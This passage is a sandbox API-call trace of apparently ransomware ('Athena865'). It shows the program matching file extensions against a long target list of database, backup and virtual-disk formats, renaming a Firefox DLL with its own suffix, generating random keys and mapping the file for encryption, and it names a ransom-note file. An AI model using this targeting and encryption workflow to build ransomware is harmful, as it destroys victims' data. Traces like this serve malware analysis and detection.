(lpString="AccessibleMarshal.dll") returned 21 [0042.867] lstrlenW (lpString="Athena865") returned 9 [0042.867] lstrcmpiW (lpString1="rshal.dll", lpString2="Athena865") returned 1 [0042.867] lstrlenW (lpString=".dll") returned 4 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2=".dll") returned 1 [0042.867] lstrlenW (lpString=".lnk") returned 4 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2=".lnk") returned 1 [0042.867] lstrlenW (lpString=".ini") returned 4 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2=".ini") returned 1 [0042.867] lstrlenW (lpString=".sys") returned 4 [0042.867] lstrcmpiW (lpString1="AccessibleMarshal.dll", lpString2=".sys") returned 1 [0042.867] lstrlenW (lpString="AccessibleMarshal.dll") returned 21 [0042.867] lstrlenW (lpString="bak") returned 3 [0042.867] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0042.868] lstrlenW (lpString="ba_") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0042.868] lstrlenW (lpString="dbb") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0042.868] lstrlenW (lpString="vmdk") returned 4 [0042.868] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0042.868] lstrlenW (lpString="rar") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0042.868] lstrlenW (lpString="zip") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0042.868] lstrlenW (lpString="tgz") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0042.868] lstrlenW (lpString="vbox") returned 4 [0042.868] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0042.868] lstrlenW (lpString="vdi") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0042.868] lstrlenW (lpString="vhd") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0042.868] lstrlenW (lpString="vhdx") returned 4 [0042.868] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0042.868] lstrlenW (lpString="avhd") returned 4 [0042.868] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0042.868] lstrlenW (lpString="db") returned 2 [0042.868] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0042.868] lstrlenW (lpString="db2") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0042.868] lstrlenW (lpString="db3") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0042.868] lstrlenW (lpString="dbf") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0042.868] lstrlenW (lpString="mdf") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0042.868] lstrlenW (lpString="mdb") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0042.868] lstrlenW (lpString="sql") returned 3 [0042.868] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0042.869] lstrlenW (lpString="sqlite") returned 6 [0042.869] lstrcmpiW (lpString1="al.dll", lpString2="sqlite") returned -1 [0042.869] lstrlenW (lpString="sqlite3") returned 7 [0042.869] lstrcmpiW (lpString1="hal.dll", lpString2="sqlite3") returned -1 [0042.869] lstrlenW (lpString="sqlitedb") returned 8 [0042.869] lstrcmpiW (lpString1="shal.dll", lpString2="sqlitedb") returned -1 [0042.869] lstrlenW (lpString="xml") returned 3 [0042.869] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0042.869] lstrlenW (lpString="$er") returned 3 [0042.869] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0042.869] lstrlenW (lpString="4dd") returned 3 [0042.869] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0042.869] lstrlenW (lpString="4dl") returned 3 [0042.869] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0042.869] lstrlenW (lpString="^^^") returned 3 [0042.869] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0042.869] lstrlenW (lpString="abs") returned 3 [0042.869] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0042.869] lstrlenW (lpString="abx") returned 3 [0042.869] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0042.869] lstrlenW (lpString="accdb") returned 5 [0042.869] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1 [0042.869] lstrlenW (lpString="accdc") returned 5 [0042.869] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1 [0042.869] lstrlenW (lpString="accde") returned 5 [0042.869] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1 [0042.869] lstrlenW (lpString="accdr") returned 5 [0042.869] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1 [0042.869] lstrlenW (lpString="accdt") returned 5 [0042.869] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1 [0042.869] lstrlenW (lpString="accdw") returned 5 [0042.869] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1 [0042.869] lstrlenW (lpString="accft") returned 5 [0042.869] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1 [0042.869] lstrlenW (lpString="adb") returned 3 [0042.869] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.870] lstrlenW (lpString="adb") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0042.870] lstrlenW (lpString="ade") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0042.870] lstrlenW (lpString="adf") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0042.870] lstrlenW (lpString="adn") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0042.870] lstrlenW (lpString="adp") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0042.870] lstrlenW (lpString="alf") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0042.870] lstrlenW (lpString="ask") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0042.870] lstrlenW (lpString="btr") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0042.870] lstrlenW (lpString="cat") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0042.870] lstrlenW (lpString="cdb") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0042.870] lstrlenW (lpString="ckp") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0042.870] lstrlenW (lpString="cma") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0042.870] lstrlenW (lpString="cpd") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0042.870] lstrlenW (lpString="dacpac") returned 6 [0042.870] lstrcmpiW (lpString1="al.dll", lpString2="dacpac") returned -1 [0042.870] lstrlenW (lpString="dad") returned 3 [0042.870] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0042.870] lstrlenW (lpString="dadiagrams") returned 10 [0042.870] lstrcmpiW (lpString1="arshal.dll", lpString2="dadiagrams") returned -1 [0042.870] lstrlenW (lpString="daschema") returned 8 [0042.870] lstrcmpiW (lpString1="shal.dll", lpString2="daschema") returned 1 [0042.870] lstrlenW (lpString="db-journal") returned 10 [0042.871] lstrcmpiW (lpString1="arshal.dll", lpString2="db-journal") returned -1 [0042.871] lstrlenW (lpString="db-shm") returned 6 [0042.871] lstrcmpiW (lpString1="al.dll", lpString2="db-shm") returned -1 [0042.871] lstrlenW (lpString="db-wal") returned 6 [0042.871] lstrcmpiW (lpString1="al.dll", lpString2="db-wal") returned -1 [0042.871] lstrlenW (lpString="dbc") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0042.871] lstrlenW (lpString="dbs") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0042.871] lstrlenW (lpString="dbt") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0042.871] lstrlenW (lpString="dbv") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0042.871] lstrlenW (lpString="dbx") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0042.871] lstrlenW (lpString="dcb") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0042.871] lstrlenW (lpString="dct") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0042.871] lstrlenW (lpString="dcx") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0042.871] lstrlenW (lpString="ddl") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0042.871] lstrlenW (lpString="dlis") returned 4 [0042.871] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0042.871] lstrlenW (lpString="dp1") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0042.871] lstrlenW (lpString="dqy") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0042.871] lstrlenW (lpString="dsk") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0042.871] lstrlenW (lpString="dsn") returned 3 [0042.871] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0042.871] lstrlenW (lpString="dtsx") returned 4 [0042.871] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0042.872] lstrlenW (lpString="dxl") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0042.872] lstrlenW (lpString="eco") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0042.872] lstrlenW (lpString="ecx") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0042.872] lstrlenW (lpString="edb") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0042.872] lstrlenW (lpString="epim") returned 4 [0042.872] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0042.872] lstrlenW (lpString="fcd") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0042.872] lstrlenW (lpString="fdb") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0042.872] lstrlenW (lpString="fic") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0042.872] lstrlenW (lpString="flexolibrary") returned 12 [0042.872] lstrcmpiW (lpString1="eMarshal.dll", lpString2="flexolibrary") returned -1 [0042.872] lstrlenW (lpString="fm5") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0042.872] lstrlenW (lpString="fmp") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0042.872] lstrlenW (lpString="fmp12") returned 5 [0042.872] lstrcmpiW (lpString1="l.dll", lpString2="fmp12") returned 1 [0042.872] lstrlenW (lpString="fmpsl") returned 5 [0042.872] lstrcmpiW (lpString1="l.dll", lpString2="fmpsl") returned 1 [0042.872] lstrlenW (lpString="fol") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0042.872] lstrlenW (lpString="fp3") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0042.872] lstrlenW (lpString="fp4") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0042.872] lstrlenW (lpString="fp5") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0042.872] lstrlenW (lpString="fp7") returned 3 [0042.872] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0042.873] lstrlenW (lpString="fpt") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0042.873] lstrlenW (lpString="frm") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0042.873] lstrlenW (lpString="gdb") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.873] lstrlenW (lpString="gdb") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0042.873] lstrlenW (lpString="grdb") returned 4 [0042.873] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0042.873] lstrlenW (lpString="gwi") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0042.873] lstrlenW (lpString="hdb") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0042.873] lstrlenW (lpString="his") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0042.873] lstrlenW (lpString="ib") returned 2 [0042.873] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0042.873] lstrlenW (lpString="idb") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0042.873] lstrlenW (lpString="ihx") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0042.873] lstrlenW (lpString="itdb") returned 4 [0042.873] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0042.873] lstrlenW (lpString="itw") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0042.873] lstrlenW (lpString="jet") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0042.873] lstrlenW (lpString="jtx") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0042.873] lstrlenW (lpString="kdb") returned 3 [0042.873] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0042.873] lstrlenW (lpString="kexi") returned 4 [0042.873] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0042.873] lstrlenW (lpString="kexic") returned 5 [0042.873] lstrcmpiW (lpString1="l.dll", lpString2="kexic") returned 1 [0042.874] lstrlenW (lpString="kexis") returned 5 [0042.874] lstrcmpiW (lpString1="l.dll", lpString2="kexis") returned 1 [0042.874] lstrlenW (lpString="lgc") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0042.874] lstrlenW (lpString="lwx") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0042.874] lstrlenW (lpString="maf") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0042.874] lstrlenW (lpString="maq") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0042.874] lstrlenW (lpString="mar") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0042.874] lstrlenW (lpString="marshal") returned 7 [0042.874] lstrcmpiW (lpString1="hal.dll", lpString2="marshal") returned -1 [0042.874] lstrlenW (lpString="mas") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0042.874] lstrlenW (lpString="mav") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0042.874] lstrlenW (lpString="maw") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0042.874] lstrlenW (lpString="mdbhtml") returned 7 [0042.874] lstrcmpiW (lpString1="hal.dll", lpString2="mdbhtml") returned -1 [0042.874] lstrlenW (lpString="mdn") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0042.874] lstrlenW (lpString="mdt") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0042.874] lstrlenW (lpString="mfd") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0042.874] lstrlenW (lpString="mpd") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0042.874] lstrlenW (lpString="mrg") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0042.874] lstrlenW (lpString="mud") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0042.874] lstrlenW (lpString="mwb") returned 3 [0042.874] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0042.875] lstrlenW (lpString="myd") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0042.875] lstrlenW (lpString="ndf") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0042.875] lstrlenW (lpString="nnt") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0042.875] lstrlenW (lpString="nrmlib") returned 6 [0042.875] lstrcmpiW (lpString1="al.dll", lpString2="nrmlib") returned -1 [0042.875] lstrlenW (lpString="ns2") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0042.875] lstrlenW (lpString="ns3") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0042.875] lstrlenW (lpString="ns4") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0042.875] lstrlenW (lpString="nsf") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0042.875] lstrlenW (lpString="nv") returned 2 [0042.875] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0042.875] lstrlenW (lpString="nv2") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0042.875] lstrlenW (lpString="nwdb") returned 4 [0042.875] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0042.875] lstrlenW (lpString="nyf") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0042.875] lstrlenW (lpString="odb") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.875] lstrlenW (lpString="odb") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0042.875] lstrlenW (lpString="oqy") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0042.875] lstrlenW (lpString="ora") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0042.875] lstrlenW (lpString="orx") returned 3 [0042.875] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0042.875] lstrlenW (lpString="owc") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0042.876] lstrlenW (lpString="p96") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0042.876] lstrlenW (lpString="p97") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0042.876] lstrlenW (lpString="pan") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0042.876] lstrlenW (lpString="pdb") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0042.876] lstrlenW (lpString="pdm") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0042.876] lstrlenW (lpString="pnz") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0042.876] lstrlenW (lpString="qry") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0042.876] lstrlenW (lpString="qvd") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0042.876] lstrlenW (lpString="rbf") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0042.876] lstrlenW (lpString="rctd") returned 4 [0042.876] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0042.876] lstrlenW (lpString="rod") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0042.876] lstrlenW (lpString="rodx") returned 4 [0042.876] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0042.876] lstrlenW (lpString="rpd") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0042.876] lstrlenW (lpString="rsd") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0042.876] lstrlenW (lpString="sas7bdat") returned 8 [0042.876] lstrcmpiW (lpString1="shal.dll", lpString2="sas7bdat") returned 1 [0042.876] lstrlenW (lpString="sbf") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0042.876] lstrlenW (lpString="scx") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0042.876] lstrlenW (lpString="sdb") returned 3 [0042.876] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0042.877] lstrlenW (lpString="sdc") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0042.877] lstrlenW (lpString="sdf") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0042.877] lstrlenW (lpString="sis") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0042.877] lstrlenW (lpString="spq") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0042.877] lstrlenW (lpString="te") returned 2 [0042.877] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0042.877] lstrlenW (lpString="teacher") returned 7 [0042.877] lstrcmpiW (lpString1="hal.dll", lpString2="teacher") returned -1 [0042.877] lstrlenW (lpString="tmd") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0042.877] lstrlenW (lpString="tps") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0042.877] lstrlenW (lpString="trc") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.877] lstrlenW (lpString="trc") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0042.877] lstrlenW (lpString="trm") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0042.877] lstrlenW (lpString="udb") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0042.877] lstrlenW (lpString="udl") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0042.877] lstrlenW (lpString="usr") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0042.877] lstrlenW (lpString="v12") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0042.877] lstrlenW (lpString="vis") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0042.877] lstrlenW (lpString="vpd") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0042.877] lstrlenW (lpString="vvv") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0042.877] lstrlenW (lpString="wdb") returned 3 [0042.877] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0042.878] lstrlenW (lpString="wmdb") returned 4 [0042.878] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0042.878] lstrlenW (lpString="wrk") returned 3 [0042.878] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0042.878] lstrlenW (lpString="xdb") returned 3 [0042.878] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0042.878] lstrlenW (lpString="xld") returned 3 [0042.878] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0042.878] lstrlenW (lpString="xmlff") returned 5 [0042.878] lstrcmpiW (lpString1="l.dll", lpString2="xmlff") returned -1 [0042.878] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll.Athena865") returned 70 [0042.878] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\accessiblemarshal.dll"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\accessiblemarshal.dll.athena865"), dwFlags=0x1) returned 1 [0042.879] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll.Athena865" (normalized: "c:\\program files (x86)\\mozilla firefox\\accessiblemarshal.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0042.879] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20080) returned 1 [0042.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0042.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0042.879] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0042.880] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0042.880] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0042.880] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0042.880] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5170, lpName=0x0) returned 0x154 [0042.883] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5170) returned 0x100000 [0042.885] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0042.885] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0042.885] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0042.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0042.885] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0042.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0042.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0042.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0042.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0042.886] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x532d08 [0042.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0042.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0042.886] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0042.886] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0042.886] CloseHandle (hObject=0x154) returned 1 [0042.886] CloseHandle (hObject=0x17c) returned 1 [0042.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0042.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0042.888] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0042.888] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef68420, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x774f8200, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x279, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="application.ini", cAlternateFileName="APPLIC~1.INI")) returned 1 [0042.888] lstrcmpiW (lpString1="application.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.888] lstrcmpiW (lpString1="application.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.888] lstrcmpiW (lpString1="application.ini", lpString2=".") returned 1 [0042.888] lstrcmpiW (lpString1="application.ini", lpString2="..") returned 1 [0042.888] lstrcmpiW (lpString1="application.ini", lpString2="windows") returned -1 [0042.888] lstrcmpiW (lpString1="application.ini", lpString2="bootmgr") returned -1 [0042.888] 